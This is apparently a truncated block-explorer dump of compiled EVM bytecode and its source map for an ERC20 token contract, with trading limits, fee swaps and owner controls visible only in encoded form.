963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610715573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610739919061171a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610783573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a7919061171a565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d71947306107ee816001600160a01b03165f9081526001602052604090205490565b5f806108015f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610867573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088c9190611735565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109059190611760565b506015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109815760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610475565b6001600160a01b0382166109e25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610475565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aa65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610475565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610475565b5f8111610b695760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610475565b5f80546001600160a01b03858116911614801590610b9457505f546001600160a01b03848116911614155b15610fe25760065460ff1615610c50576014546001600160a01b03848116911614801590610bd057506015546001600160a01b03848116911614155b15610c5057325f908152600560205260409020544311610c3e5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610475565b325f9081526005602052604090204390555b6015546001600160a01b038581169116148015610c7b57506014546001600160a01b03848116911614155b8015610c9f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610def57600754821115610cf65760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865205f6d6178547871416d6f756e746c2e00000000006044820152606401610475565b60085482610d18856001600160a01b03165f9081526001602052604090205490565b610d22919061177f565b1115610d705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610475565b6011546012541015610d8757823b15610d87575f80fd5b60128054905f610d9683611792565b90915550506001600160a01b0383165f908152600460205260409020805460ff19166001179055600f54601254610dec91606491610de69110610ddb57600b54610ddf565b600d545b8590611159565b906111d7565b90505b6015546001600160a01b038481169116148015610e1557506001600160a01b0384163014155b8015610e3957506001600160a01b0384165f9081526003602052604090205460ff16155b15610f0f576007548211158015610e6a5750600a546013546001600160a01b03165f90815260016020526040902054105b610eb65760405162461bcd60e51b815260206004820152601b60248201527f4578636565647320746865205f6d6178547871416d6f756e746c2e00000000006044820152606401610475565b610edb6064610de660105460125411610ed157600c54610ddf565b600e548590611159565b9050601154601254118015610f0757506001600160a01b0384165f9081526004602052604090205460ff165b610f0f575f80fd5b305f90815260016020526040902054601554600160a81b900460ff16158015610f4557506015546001600160a01b038581169116145b8015610f5a5750601554600160b01b900460ff165b8015610f67575060095481115b8015610f765750601154601254115b8015610f9a57506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fbe57506001600160a01b0385165f9081526003602052604090205460ff16155b15610fe057610fe0610fdb84610fd684600a54611218565b611218565b61122c565b505b801561105a57305f9081526001602052604090205461100190826113b5565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110519085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461107e90859084611413565b6001600160a01b0385165f908152600160205260409020556110c16110a38383611443565b6001600160a01b0385165f90815260016020526040902054906113b5565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61110a8585611443565b60405190815260200160405180910390a350505050565b5f81848411156111445760405162461bcd60e51b815260040161047591906114b0565b505f61115084866117aa565b95945050505050565b5f825f0361116857505f6103be565b5f61117383856116ce565b90508261118085836117bd565b146104455760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610475565b5f61044583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611484565b5f8183116112265782610445565b50919050565b6015805460ff60a81b1916600160a81b17905580156113a557601554600160a01b900460ff16156113a5576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061128a5761128a6117dc565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112e1573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611305919061171a565b81600181518110611318576113186117dc565b6001600160a01b03928316602091820292909201015260145461133e913091168461091f565b60145460405163266eff3560e01b81526001600160a01b039091169063266eff35906113769085905f908690309042906004016117f0565b5f604051808303815f87803b15801561138d575f80fd5b505af115801561139f573d5f803e3d5ffd5b50505050505b506015805460ff60a81b19169055565b5f806113c1838561177f565b9050838110156104455760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610475565b6013545f906001600160a01b0390811690851603611432575081610445565b61143c8383611443565b9050610445565b5f61044583836040518060400160405280601f81526020017f536166654d6174683a20207375627472616374696f6e206f766572666c6f7700815250611121565b5f81836114a45760405162461bcd60e51b815260040161047591906114b0565b505f61115084866117bd565b5f6020808352835180828501525f5b818110156114db578581018301518582016040015282016114bf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461150f575f80fd5b50565b5f8060408385031215611523575f80fd5b823561152e816114fb565b946020939093013593505050565b5f805f6060848603121561154e575f80fd5b8335611559816114fb565b92506020840135611569816114fb565b929592945050506040919091013590565b5f6020828403121561158a575f80fd5b8135610445816114fb565b5f80604083850312156115a6575f80fd5b82356115b1816114fb565b915060208301356115c1816114fb565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561161a57815f1904821115611600576116006115cc565b8085161561160d57918102915b93841c93908002906115e5565b509250929050565b5f82611630575060016103be565b8161163c57505f6103be565b8160018114611652576002811461165c57611678565b60019150506103be565b60ff84111561166d5761166d6115cc565b50506001821b6103be565b5060208310610133831016604e8410600b841016171561169b575081810a6103be565b6116a583836115e0565b805f19048211156116b8576116b86115cc565b029392505050565b5f61044560ff841683611622565b80820281158282048414176103be576103be6115cc565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561172a575f80fd5b8151610445816114fb565b5f805f60608486031215611747575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611770575f80fd5b81518015158114610445575f80fd5b808201808211156103be576103be6115cc565b5f600182016117a3576117a36115cc565b5060010190565b818103818111156103be576103be6115cc565b5f826117d757634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561183e5784516001600160a01b031683529383019391830191600101611819565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201201e8f72ac551f7777a5e6fcd61185dc246307ca6790756cca83989a5e3302b64736f6c63430008140033

Deployed Bytecode Sourcemap

3641:8273:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5544:83;;;;;;;;;;-1:-1:-1;5614:5:0;;;;;;;;;;;;-1:-1:-1;;;5614:5:0;;;;5544:83;;;;;;;:::i;:::-;;;;;;;;6377:161;;;;;;;;;;-1:-1:-1;6377:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6377:161:0;1023:187:1;4399:43:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4399:43:0;1215:177:1;5821:95:0;;;;;;;;;;;;;:::i;6546:316::-;;;;;;;;;;-1:-1:-1;6546:316:0;;;;;:::i;:::-;;:::i;4351:41::-;;;;;;;;;;;;;;;;5730:83;;;;;;;;;;-1:-1:-1;5730:83:0;;4131:1;2000:36:1;;1988:2;1973:18;5730:83:0;1858:184:1;4816:77:0;;;;;;;;;;-1:-1:-1;4816:77:0;;;;-1:-1:-1;;;;;4816:77:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4816:77:0;2047:203:1;4044:43:0;;;;;;;;;;-1:-1:-1;4044:43:0;;;;;;;;4305:39;;;;;;;;;;;;;;;;5924:119;;;;;;;;;;-1:-1:-1;5924:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6017:18:0;5990:7;6017:18;;;:9;:18;;;;;;;5924:119;2719:148;;;;;;;;;;;;;:::i;:::-;;10803:205;;;;;;;;;;;;;:::i;2505:79::-;;;;;;;;;;-1:-1:-1;2543:7:0;2570:6;-1:-1:-1;;;;;2570:6:0;2505:79;;5635:87;;;;;;;;;;-1:-1:-1;5707:7:0;;;;;;;;;;;;-1:-1:-1;;;5707:7:0;;;;5635:87;;6051:167;;;;;;;;;;-1:-1:-1;6051:167:0;;;;;:::i;:::-;;:::i;11222:652::-;;;;;;;;;;;;;:::i;6226:143::-;;;;;;;;;;-1:-1:-1;6226:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6334:18:0;;;6307:7;6334:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6226:143;4449:37;;;;;;;;;;;;;;;;6377:161;6452:4;6469:39;330:10;6492:7;6501:6;6469:8;:39::i;:::-;-1:-1:-1;6526:4:0;6377:161;;;;;:::o;5821:95::-;5874:7;4284:14;4131:1;4284:2;:14;:::i;:::-;4272:26;;:9;:26;:::i;:::-;5894:14;;5821:95;:::o;6546:316::-;6644:4;6661:36;6671:6;6679:9;6690:6;6661:9;:36::i;:::-;6708:124;6717:6;330:10;6739:92;6780:6;6739:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6739:19:0;;;;;;:11;:19;;;;;;;;330:10;6739:33;;;;;;;;;;:40;:92::i;:::-;6708:8;:124::i;:::-;-1:-1:-1;6850:4:0;6546:316;;;;;;:::o;2719:148::-;2632:6;;-1:-1:-1;;;;;2632:6:0;330:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;;;;;;;;;2826:1:::1;2810:6:::0;;2789:40:::1;::::0;-1:-1:-1;;;;;2810:6:0;;::::1;::::0;2789:40:::1;::::0;2826:1;;2789:40:::1;2857:1;2840:19:::0;;-1:-1:-1;;;;;;2840:19:0::1;::::0;;2719:148::o;10803:205::-;2632:6;;-1:-1:-1;;;;;2632:6:0;330:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;4284:14:::1;4131:1;4284:2;:14;:::i;:::-;4272:26;::::0;:9:::1;:26;:::i;:::-;10856:14;:24:::0;4284:14:::1;4131:1;4284:2;:14;:::i;:::-;4272:26;::::0;:9:::1;:26;:::i;:::-;10891:16;:24:::0;10926:23:::1;:29:::0;;-1:-1:-1;;10926:29:0::1;::::0;;10971::::1;4284:14;4131:1;4284:2;:14;:::i;:::-;4272:26;::::0;:9:::1;:26;:::i;:::-;10971:29;::::0;1361:25:1;;;1349:2;1334:18;10971:29:0::1;;;;;;;10803:205::o:0;6051:167::-;6129:4;6146:42;330:10;6170:9;6181:6;6146:9;:42::i;11222:652::-;2632:6;;-1:-1:-1;;;;;2632:6:0;330:10;2632:22;2624:67;;;;-1:-1:-1;;;2624:67:0;;;;;;;:::i;:::-;11286:12:::1;::::0;-1:-1:-1;;;11286:12:0;::::1;;;11285:13;11277:29;;;;-1:-1:-1::0;;;11277:29:0::1;;;;;;5151:2:1::0;5133:21;;;5190:1;5170:18;;;5163:29;-1:-1:-1;;;5223:2:1;5208:18;;5201:34;5267:2;5252:18;;4949:327;11277:29:0::1;11317:14;:78:::0;;-1:-1:-1;;;;;;11317:78:0::1;11352:42;11317:78:::0;;::::1;::::0;;;11406:57:::1;::::0;11423:4:::1;::::0;4284:14:::1;4131:1;4284:2;:14;:::i;:::-;4272:26;::::0;:9:::1;:26;:::i;11406:57::-;11510:14;;;;;;;;;-1:-1:-1::0;;;;;11510:14:0::1;-1:-1:-1::0;;;;;11510:22:0::1;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11490:56:0::1;;11555:4;11562:14;;;;;;;;;-1:-1:-1::0;;;;;11562:14:0::1;-1:-1:-1::0;;;;;11562:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11490:94;::::0;-1:-1:-1;;;;;;11490:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5767:15:1;;;11490:94:0::1;::::0;::::1;5749:34:1::0;5819:15;;5799:18;;;5792:43;5684:18;;11490:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11474:13;:110:::0;;-1:-1:-1;;;;;11474:110:0;;::::1;-1:-1:-1::0;;;;;;11474:110:0;;::::1;;::::0;;11595:14:::1;::::0;::::1;:30;11633:21;11664:4;11670:24;11664:4:::0;-1:-1:-1;;;;;6017:18:0;5990:7;6017:18;;;:9;:18;;;;;;;5924:119;11670:24:::1;11695:1;11697::::0;11699:7:::1;2543::::0;2570:6;-1:-1:-1;;;;;2570:6:0;;2505:79;11699:7:::1;11595:128;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11595:128:0;;;-1:-1:-1;;;;;6205:15:1;;;11595:128:0::1;::::0;::::1;6187:34:1::0;6237:18;;;6230:34;;;;6280:18;;;6273:34;;;;6323:18;;;6316:34;6387:15;;;6366:19;;;6359:44;11707:15:0::1;6419:19:1::0;;;6412:35;6121:19;;11595:128:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11741:13:0::1;::::0;11772:14:::1;::::0;11734:70:::1;::::0;-1:-1:-1;;;11734:70:0;;-1:-1:-1;;;;;11772:14:0;;::::1;11734:70;::::0;::::1;6943:51:1::0;-1:-1:-1;;7010:18:1;;;7003:34;11741:13:0;::::1;::::0;-1:-1:-1;11734:29:0::1;::::0;6916:18:1;;11734:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11815:14:0::1;:21:::0;;-1:-1:-1;;;;11847:19:0;-1:-1:-1;;;11847:19:0;;;11222:652::o;6870:335::-;-1:-1:-1;;;;;6963:19:0;;6955:68;;;;-1:-1:-1;;;6955:68:0;;7532:2:1;6955:68:0;;;7514:21:1;7571:2;7551:18;;;7544:30;7610:34;7590:18;;;7583:62;-1:-1:-1;;;7661:18:1;;;7654:34;7705:19;;6955:68:0;7330:400:1;6955:68:0;-1:-1:-1;;;;;7042:21:0;;7034:68;;;;-1:-1:-1;;;7034:68:0;;7937:2:1;7034:68:0;;;7919:21:1;7976:2;7956:18;;;7949:30;8015:34;7995:18;;;7988:62;-1:-1:-1;;;8066:18:1;;;8059:32;8108:19;;7034:68:0;7735:398:1;7034:68:0;-1:-1:-1;;;;;7113:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7165:32;;1361:25:1;;;7165:32:0;;1334:18:1;7165:32:0;;;;;;;6870:335;;;:::o;7213:2692::-;-1:-1:-1;;;;;7301:18:0;;7293:68;;;;-1:-1:-1;;;7293:68:0;;8340:2:1;7293:68:0;;;8322:21:1;8379:2;8359:18;;;8352:30;8418:34;8398:18;;;8391:62;-1:-1:-1;;;8469:18:1;;;8462:35;8514:19;;7293:68:0;8138:401:1;7293:68:0;-1:-1:-1;;;;;7380:16:0;;7372:64;;;;-1:-1:-1;;;7372:64:0;;8746:2:1;7372:64:0;;;8728:21:1;8785:2;8765:18;;;8758:30;8824:34;8804:18;;;8797:62;-1:-1:-1;;;8875:18:1;;;8868:33;8918:19;;7372:64:0;8544:399:1;7372:64:0;7464:1;7455:6;:10;7447:64;;;;-1:-1:-1;;;7447:64:0;;9150:2:1;7447:64:0;;;9132:21:1;9189:2;9169:18;;;9162:30;9228:34;9208:18;;;9201:62;-1:-1:-1;;;9279:18:1;;;9272:39;9328:19;;7447:64:0;8948:405:1;7447:64:0;7522:17;2570:6;;-1:-1:-1;;;;;7556:15:0;;;2570:6;;7556:15;;;;:32;;-1:-1:-1;2543:7:0;2570:6;-1:-1:-1;;;;;7575:13:0;;;2570:6;;7575:13;;7556:32;7552:1981;;;7611:23;;;;7607:348;;;7673:14;;-1:-1:-1;;;;;7659:29:0;;;7673:14;;7659:29;;;;:61;;-1:-1:-1;7706:13:0;;-1:-1:-1;;;;;7692:28:0;;;7706:13;;7692:28;;7659:61;7655:285;;;7780:9;7751:39;;;;:28;:39;;;;;;7793:12;-1:-1:-1;7743:102:0;;;;-1:-1:-1;;;7743:102:0;;9560:2:1;7743:102:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:34;9733:19;;7743:102:0;9358:400:1;7743:102:0;7895:9;7866:39;;;;:28;:39;;;;;7908:12;7866:54;;7655:285;7983:13;;-1:-1:-1;;;;;7975:21:0;;;7983:13;;7975:21;:54;;;;-1:-1:-1;8014:14:0;;-1:-1:-1;;;;;8000:29:0;;;8014:14;;8000:29;;7975:54;:82;;;;-1:-1:-1;;;;;;8034:23:0;;;;;;:19;:23;;;;;;;;8033:24;7975:82;7971:570;;;8097:14;;8087:6;:24;;8079:64;;;;-1:-1:-1;;;8079:64:0;;9965:2:1;8079:64:0;;;9947:21:1;10004:2;9984:18;;;9977:30;10043:29;10023:18;;;10016:57;10090:18;;8079:64:0;9763:351:1;8079:64:0;8196:16;;8186:6;8170:13;8180:2;-1:-1:-1;;;;;6017:18:0;5990:7;6017:18;;;:9;:18;;;;;;;5924:119;8170:13;:22;;;;:::i;:::-;:42;;8162:81;;;;-1:-1:-1;;;8162:81:0;;10451:2:1;8162:81:0;;;10433:21:1;10490:2;10470:18;;;10463:30;10529:28;10509:18;;;10502:56;10575:18;;8162:81:0;10249:350:1;8162:81:0;8275:21;;8265:9;;:31;8262:98;;;11147:20;;11195:9;8318:22;;;;;;8378:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8391:20:0;;;;;;:16;:20;;;;;:25;;-1:-1:-1;;8391:25:0;8412:4;8391:25;;;8469:17;;8459:9;;8447:78;;8521:3;;8447:69;;-1:-1:-1;8458:57:0;;8501:14;;8458:57;;;8488:12;;8458:57;8447:6;;:10;:69::i;:::-;:73;;:78::i;:::-;8435:90;;7971:570;8566:13;;-1:-1:-1;;;;;8560:19:0;;;8566:13;;8560:19;:43;;;;-1:-1:-1;;;;;;8583:20:0;;8598:4;8583:20;;8560:43;:73;;;;-1:-1:-1;;;;;;8608:25:0;;;;;;:19;:25;;;;;;;;8607:26;8560:73;8557:421;;;8672:14;;8662:6;:24;;:71;;;;-1:-1:-1;8720:13:0;;8700:18;;-1:-1:-1;;;;;8700:18:0;5990:7;6017:18;;;:9;:18;;;;;;8690:43;8662:71;8654:111;;;;-1:-1:-1;;;8654:111:0;;9965:2:1;8654:111:0;;;9947:21:1;10004:2;9984:18;;;9977:30;10043:29;10023:18;;;10016:57;10090:18;;8654:111:0;9763:351:1;8654:111:0;8796:81;8873:3;8796:72;8818:18;;8808:9;;:28;8807:60;;8852:15;;8807:60;;;8838:13;;8796:6;;:10;:72::i;:81::-;8784:93;;8914:21;;8904:9;;:31;:57;;;;-1:-1:-1;;;;;;8939:22:0;;;;;;:16;:22;;;;;;;;8904:57;8896:66;;;;;;9043:4;8994:28;6017:18;;;:9;:18;;;;;;9069:6;;-1:-1:-1;;;9069:6:0;;;;9068:7;:30;;;;-1:-1:-1;9085:13:0;;-1:-1:-1;;;;;9079:19:0;;;9085:13;;9079:19;9068:30;:48;;;;-1:-1:-1;9102:14:0;;-1:-1:-1;;;9102:14:0;;;;9068:48;:92;;;;;9141:19;;9120:20;:40;9068:92;:141;;;;;9188:21;;9178:9;;:31;9068:141;:168;;;;-1:-1:-1;;;;;;9213:23:0;;;;;;:19;:23;;;;;;;;9212:24;9068:168;:197;;;;-1:-1:-1;;;;;;9240:25:0;;;;;;:19;:25;;;;;;;;9239:26;9068:197;9064:458;;;9300:72;9315:56;9321:6;9329:41;9335:20;9356:13;;9329:5;:41::i;:::-;9315:5;:56::i;:::-;9300:13;:72::i;:::-;7590:1943;7552:1981;9548:11;;9545:161;;9616:4;9598:24;;;;:9;:24;;;;;;:39;;9627:9;9598:28;:39::i;:::-;9591:4;9573:24;;;;:9;:24;;;;;;;:64;;;;9655:39;;-1:-1:-1;;;;;9655:39:0;;;;;;;9684:9;1361:25:1;;1349:2;1334:18;;1215:177;9655:39:0;;;;;;;;9545:161;-1:-1:-1;;;;;9745:15:0;;;;;;:9;:15;;;;;;9733:36;;9739:4;;9762:6;9733:5;:36::i;:::-;-1:-1:-1;;;;;9716:15:0;;;;;;:9;:15;;;;;:53;9794:43;9812:24;:6;9826:9;9812:13;:24::i;:::-;-1:-1:-1;;;;;9794:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9780:13:0;;;;;;;:9;:13;;;;;:57;;;;9853:44;;;9872:24;:6;9886:9;9872:13;:24::i;:::-;9853:44;;1361:25:1;;;1349:2;1334:18;9853:44:0;;;;;;;7282:2623;7213:2692;;;:::o;1394:193::-;1483:7;1519:12;1511:6;;;;1503:29;;;;-1:-1:-1;;;1503:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1543:9:0;1555:5;1559:1;1555;:5;:::i;:::-;1543:17;1394:193;-1:-1:-1;;;;;1394:193:0:o;1595:246::-;1653:7;1677:1;1682;1677:6;1673:47;;-1:-1:-1;1707:1:0;1700:8;;1673:47;1730:9;1742:5;1746:1;1742;:5;:::i;:::-;1730:17;-1:-1:-1;1775:1:0;1766:5;1770:1;1730:17;1766:5;:::i;:::-;:10;1758:56;;;;-1:-1:-1;;;1758:56:0;;11301:2:1;1758:56:0;;;11283:21:1;11340:2;11320:18;;;11313:30;11379:34;11359:18;;;11352:62;-1:-1:-1;;;11430:18:1;;;11423:31;11471:19;;1758:56:0;11099:397:1;1849:132:0;1907:7;1934:39;1938:1;1941;1934:39;;;;;;;;;;;;;;;;;:3;:39::i;10473:101::-;10533:7;10560:1;10558;:3;10557:9;;10565:1;10557:9;;;-1:-1:-1;10563:1:0;10473:101;-1:-1:-1;10473:101:0:o;9913:552::-;5185:6;:13;;-1:-1:-1;;;;5185:13:0;-1:-1:-1;;;5185:13:0;;;9988:27;;10007:7:::1;9988:27;10029:12;::::0;-1:-1:-1;;;10029:12:0;::::1;;;10025:26:::0;10043:7:::1;10025:26;10085:16;::::0;;10099:1:::1;10085:16:::0;;;;;::::1;::::0;;10061:21:::1;::::0;10085:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10085:16:0::1;10061:40;;10130:4;10112;10117:1;10112:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10112:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10156:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;10156:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;10112:7;;10156:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10146:4;10151:1;10146:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10146:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;10220:14:::1;::::0;10188:61:::1;::::0;10205:4:::1;::::0;10220:14:::1;10237:11:::0;10188:8:::1;:61::i;:::-;10260:14;::::0;:197:::1;::::0;-1:-1:-1;;;10260:197:0;;-1:-1:-1;;;;;10260:14:0;;::::1;::::0;:67:::1;::::0;:197:::1;::::0;10342:11;;10260:14:::1;::::0;10384:4;;10411::::1;::::0;10431:15:::1;::::0;10260:197:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9977:488;5209:1;-1:-1:-1::0;5221:6:0;:14;;-1:-1:-1;;;;5221:14:0;;;9913:552::o;1056:179::-;1114:7;;1146:5;1150:1;1146;:5;:::i;:::-;1134:17;;1175:1;1170;:6;;1162:46;;;;-1:-1:-1;;;1162:46:0;;12952:2:1;1162:46:0;;;12934:21:1;12991:2;12971:18;;;12964:30;13030:29;13010:18;;;13003:57;13077:18;;1162:46:0;12750:351:1;10582:213:0;10685:18;;10655:7;;-1:-1:-1;;;;;10685:18:0;;;10677:26;;;;10674:114;;-1:-1:-1;10726:1:0;10719:8;;10674:114;10765:11;:1;10774;10765:8;:11::i;:::-;10758:18;;;;1243:143;1304:7;1332:46;1338:1;1341;1332:46;;;;;;;;;;;;;;;;;:5;:46::i;1989:189::-;2075:7;2110:12;2103:5;2095:28;;;;-1:-1:-1;;;2095:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2134:9:0;2146:5;2150:1;2146;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4